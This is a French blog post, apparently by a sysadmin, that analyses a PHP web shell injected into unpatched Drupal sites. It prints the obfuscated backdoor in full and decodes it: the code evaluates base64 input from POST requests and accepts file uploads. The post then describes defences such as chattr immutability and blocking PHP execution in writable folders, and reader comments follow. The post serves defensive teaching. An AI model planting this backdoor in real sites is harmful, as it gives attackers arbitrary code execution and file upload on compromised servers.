Décoder un script PHP malveillant, comment s’en protéger
Suite aux récents évènements de sécurité autour de Drupal, plusieurs de nos clients qui pensent que leur site est une affiche collée au mur qui n’a pas besoin de mise à jour se sont fait poutrer parfois méchamment. Je vous propose d’analyser le code d’un fichier injecté par le biais des dernières failles en date, histoire de comprendre comment ça fonctionne, pourquoi il est compliqué de les détecter, quelles sont les options à disposition pour réduire la surface d’attaque.
Voici le code brut :
1 |
<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?> |
L’un des moyens les plus évidents, au delà de la lisibilité douteuse de cette unique ligne, c’est l’utilisation fréquente de la fonction base64_decode()
. On va donc procéder par étape, pour améliorer la lisibilité et traduire tout ça afin de savoir de quoi il retourne. On va déjà rétablir retours à la ligne et indentation :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php echo 7457737+736723; $raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."="); $ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."="); eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))])); if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))) { @$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]); }; ?> |
Je n’ai absolument aucune idée de l’utilité du premier echo
, à part peut-être constituer une sorte de signature qui permet d’identifier ce qu’on peut faire avec le reste du code. On constate plusieurs définitions de variables, un test sur le contenu de $_POST
, ce qui confirme qu’on peut lui envoyer des choses, et on voit l’utilisation de $_FILES
, les deux combinés laissent déjà à penser qu’il est possible d’uploader des fichiers avec ce script.
Commençons par la première variable, et le contenu sur lequel doit s’exécuter le base64_decode
:
1 |
$raPo_rZluoE=base64_decode("YmFzZTY0X2RlY29kZQ=="); |
J’ai simplement fait un php -r 'echo "Y".chr(109)."F".chr...;'
pour traduire le contenu. C’est d’ailleurs cette méthode que je vais exploiter pour traduire la plupart des transformations. Alors, quel est donc le résultat ?
1 2 |
[seboss666@seboss666-ltp ~ ]$ php -r 'echo base64_decode("YmFzZTY0X2RlY29kZQ==");' base64_decode |
Franchement, là celle-là on aurait pu s’en passer, mais ça a du sens en matière de masquage. Oui, on dit que raPo_rZluoE
est équivalent à base64_decode
, et par la suite, on pourra appeler $raPo_rZluoE
à la place de l’original, une saloperie couramment rencontrée dans les scripts malveillants que j’ai pu voir par le passé, et qui font partie des critiques du langage sur sa faible sécurité. C’est d’ailleurs ce qu’on verra juste après.
La deuxième définition de variable est identique à part le contenu, donc on va prendre un raccourci :
1 2 3 |
//$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."="); $ydSJPtnwrSv="copy"; |
C’est à la ligne suivante que les choses prennent leur sens. La fonction eval()
interprète le contenu qu’on lui passe, et on voit qu’on lui passe une fonction masquée; on a encore un enchaînement connu, je vais raccourcir un peu les étapes :
1 2 3 |
//eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))])); eval(base64_decode($_POST["id"])); |
Cette simple commande ouvre les portes à toutes les possibilités d’exécution arbitraires permises par PHP avec l’utilisateur système associé. Il suffit de faire une requête HTTP « POST » avec un contenu qui va bien, dans la variable qui va bien, pour aboutir au résultat voulu : extraction de données, lancement d’attaques sur serveurs tiers, infections multiples pour se laisser plusieurs portes d’entrées sur la machine compromise, tentatives d’élévation de privilèges…
Approchons-nous du if
maintenant. Je ne vais pas vous détailler toutes les étapes, ce sont les mêmes, voici la version en clair :
1 2 3 |
if($_POST["up")] == "up") { @copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]); }; |
Là c’est clair, on injecte des fichiers en forçant leur nom, histoire de les retrouver plus facilement après. Allez, pour la culture, je vous met le code complet « décompilé » :
1 2 3 4 5 6 7 8 9 |
<?php echo 7457737+736723; eval(base64_decode($_POST["id"])); if($_POST["up")] == "up") { @copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]); }; ?> |
Y’a eu bien pire
Qu’on ne se mente pas, ces deux petites routines aussi simples paraissent-elles sont capables de faire pas mal de dégâts, mais au final c’est assez roots, il faut soi-même envoyer les commandes ou les fichiers. j’ai vu passer des explorateurs de fichiers, des webshells, et ces derniers mois, des logiciels de minage de cryptomonnaies ont fait leur apparition en force (qui s’installent avec l’utilisateur PHP, ajoutent une tâche cron pour ajouter un peu de persistance…). J’ai également eu l’occasion de croiser des robots à spam, certains injectaient des dossiers entiers de pages présentant des contrefaçons de produits de consommation, d’autres avaient décidé de bruteforcer des accès SSH d’autres serveurs (on a reçu une notification d’abuse de la part de l’hébergeur de la machine compromise)… Bref, la panoplie est bien large en matière de logiciels malveillants. Et là on ne parle que de plateformes classiques d’hébergement de sites web. Les derniers records en matière de déni de service distribués ont été effectués à l’aide d’objets connectés mal conçus ou mal installés, pas maintenus à jour ni configurés correctement. Bientôt, il faudra vous méfier de votre frigo.
Le problème, c’est que ce genre d’attaque n’est pas nécessairement détecté rapidement. Nous disposons presque systématiquement d’antivirus sur les plateformes que l’on exploite, mais ce genre de code obfusqué à la volée peut changer tellement du tout au tout qu’il est impossible d’en définir une signature (certains redéfinissent même un alphabet dans un tableau pour ensuite appeler les fonctions caractère par caractère…). Ajoutez à ça qu’un fichier malveillant peut être utilisé seulement des semaines après avoir été injecté, il n’est même pas possible d’en déduire un comportement suspect. Sauf qu’en multipliant les infections sur un même site, on le rend pratiquement impossible à désinfecter proprement, et une fois la machine compromise, il est impossible de savoir à quel point l’attaquant a pu s’introduire dans le système.
Définitivement, les mises à jour de sécurité ne sont pas faites pour les chiens, et tous les niveaux sont concernés, jusqu’au matériel désormais. Prenez donc le temps de mettre en place une politique de maintenance sur vos plateformes, le monde entier vous remerciera.
Comment réduire la surface d’attaque ?
Des commerciaux tenteront de vous mettre des étoiles dans les yeux avec un WAF, un Web Application Firewall, qui va jouer le role de proxy et analyser les URLs et le contenu des POST pour tenter de détecter un comportement suspect ou clairement identifié comme malveillant. Mais ces solutions sont souvent lourdes à mettre en place (impact plus ou moins grand sur l’applicatif, demande ce qu’on appelle un affinage après l’installation), et surtout chères, raison pour laquelle je parle des commerciaux. Il y a bien Naxsi, mais sa mise en place est assez ardue et pose le même problème de contrainte et d’impact sur le fonctionnement du site. Je conseille cette solution en dernier recours si vous êtes constamment attaqué et que pour différentes raisons vous ne pouvez pas garantir la maintenance de sécurité de votre site (coucou le WordPress 3.2 multisites au 104 plugins customs qui me stressent à chaque fois que je l’approche).
La méthode que je privilégie quand un site n’est pas maintenu, c’est la lecture seule. Et pas n’importe laquelle. Trop simple les chmod a-w
, le chown
… Le plus efficace, mais vraiment à utiliser en dernier recours, n’est pas visible facilement. Mais on peut sentir qu’il y a truc quand on a le comportement suivant :
1 2 3 4 5 6 7 8 |
[seboss666@seboss666-ltp ~/tmp ]$ l total 16K drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 10:45 ./ drwx------ 48 seboss666 seboss666 4,0K 11.05.2018 20:01 ../ -rw-r--r-- 1 seboss666 seboss666 1,6K 28.01.2018 10:34 smoke.dump -rw-r--r-- 1 seboss666 seboss666 1,2K 28.01.2018 10:34 smokegood.dump [seboss666@seboss666-ltp ~/tmp ]$ rm smoke.dump rm: impossible de supprimer 'smoke.dump': Opération non permise |
Eh oui, un peu à l’instar des ACL, on a aussi les attributs étendus du système de fichiers à notre disposition pour contrôler ce qu’on a le droit de faire sur un fichier, ensemble de fichiers… C’est via les commandes chattr
et lsattr
qu’on les manipule :
1 2 3 4 5 6 7 8 9 10 11 12 |
[seboss666@seboss666-ltp ~/tmp ]$ lsattr smoke.dump ----i---------e--- smoke.dump [seboss666@seboss666-ltp ~/tmp ]$ sudo chattr -i smoke.dump [seboss666@seboss666-ltp ~/tmp ]$ lsattr smoke.dump --------------e--- smoke.dump [seboss666@seboss666-ltp ~/tmp ]$ rm smoke.dump rm : supprimer 'smoke.dump' du type fichier ? o [seboss666@seboss666-ltp ~/tmp ]$ l total 12K drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 11:00 ./ drwx------ 48 seboss666 seboss666 4,0K 12.05.2018 10:59 ../ -rw-r--r-- 1 seboss666 seboss666 1,2K 28.01.2018 10:34 smokegood.dump |
Les attributs étendus permettent de faire pas mal de choses, je vous recommande la page de manuel traduite de chattr qui résume tous les drapeaux manipulables. Juste sachez que les systèmes de fichiers les plus courants sous Linux proposent peu ou prou les mêmes, et même les systèmes de fichiers Windows proposent des attributs étendus que je vous laisse chercher.
Bref, ici, c’est le « i » pour « immutable » qui nous intéresse, qui est le terme anglais pour inaltérable. En appliquant ça sur une arborescence complète, on la fige complètement, ce qui empêche les injections dans des fichiers, ainsi que le dépôt de nouveaux fichiers :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
[seboss666@seboss666-ltp ~/tmp ]$ mkdir testdir [seboss666@seboss666-ltp ~/tmp ]$ sudo chattr +i testdir/ [seboss666@seboss666-ltp ~/tmp ]$ cd testdir/ [seboss666@seboss666-ltp ~/tmp/testdir ]$ touch toto.txt touch: initialisation des dates de 'toto.txt': Aucun fichier ou dossier de ce type [seboss666@seboss666-ltp ~/tmp/testdir ]$ l total 8,0K drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 11:24 ./ drwxr-xr-x 3 seboss666 seboss666 4,0K 12.05.2018 11:24 ../ [seboss666@seboss666-ltp ~/tmp/testdir ]$ echo "coucou" > toto.txt bash: toto.txt: Opération non permise [seboss666@seboss666-ltp ~/tmp/testdir ]$ l total 8,0K drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 11:24 ./ drwxr-xr-x 3 seboss666 seboss666 4,0K 12.05.2018 11:24 ../ |
Attention, ce n’est pas récursif, c’est à dire que s’il existe déjà un sous-dossier, celui-ci n’hérite pas de l’attribut immutable, et on peut alors le modifier/ajouter des fichiers dedans. Dans le cadre d’un Drupal ou d’un WordPress, ça peut être utile pour laisser malgré tout un dossier de cache ou le dossier d’uploads en écriture pour ne pas trop impacter les contributions ou les améliorations de performance. Par contre, il faudra alors penser à retirer le flag sur toute l’arborescence pour faire une mise à jour, que ce soit le cœur, le thème, les plugins. Beaucoup plus contraignant, mais la sécurité a souvent un prix.
Si vous laissez certains dossiers accessibles en écriture, on va devoir empêcher tout appel à un script malveillant qui pourrait être injecté dans ces dossiers. Généralement, c’est votre serveur web qui va vous aider dans ce processus, avec différentes possibilités :
- Apache en module : désactiver php pour le dossier en question
- Apache en FPM : déréférencer le proxy pour le dossier (ou définir un proxy bidon), ou renvoyer une 404
- Nginx en FPM : renvoyer une 404 pour les fichiers php du dossier en question
Il y a encore certainement d’autres possibilités, comme la restriction de requêtes POST, il suffit de chercher « Drupal Security » ou « WordPress Security » sur votre moteur de recherche favori pour trouver quantité d’articles sur le sujet, à voir ce qui est applicable à votre installation.
Dans tous les cas, il faut se souvenir que la sécurité, c’est comme le reste de l’informatique : c’est vivant, les menaces évoluent, il ne suffit pas d’avoir collé deux règles dans votre serveur web pour être tranquille définitivement. Pour ceux dont le site est la source de revenus, n’hésitez pas à vous assurer d’avoir un partenaire pour la maintenance si vous n’avez pas la capacité de le faire vous-même, c’est un investissement nécessaire qui vous évitera d’avoir à payer beaucoup plus cher quand vous vous ferez démembrer. D’autant plus si vous manipulez des données personnelles, les sanctions en cas de manquement seront beaucoup plus lourdes…
Chapeau pour l’article l’ami 😉
Tcho !
Hello Hello,
Excellent article, merci pour le partage !
Très bon conseil le changement en lecture seul + le chattr sur les fichier/dossiers core. Tu peux également ajouter un logiciel qui va vérifier que les répertoires / fichiers n’ont pas été altérés.
Plus d’information ici: https://en.wikipedia.org/wiki/Intrusion_detection_system
Pour les néophites, appliques les conseils de Seboss666 ne protège pas de toutes les attaques. Eg Cross site scripting, sql injection, etc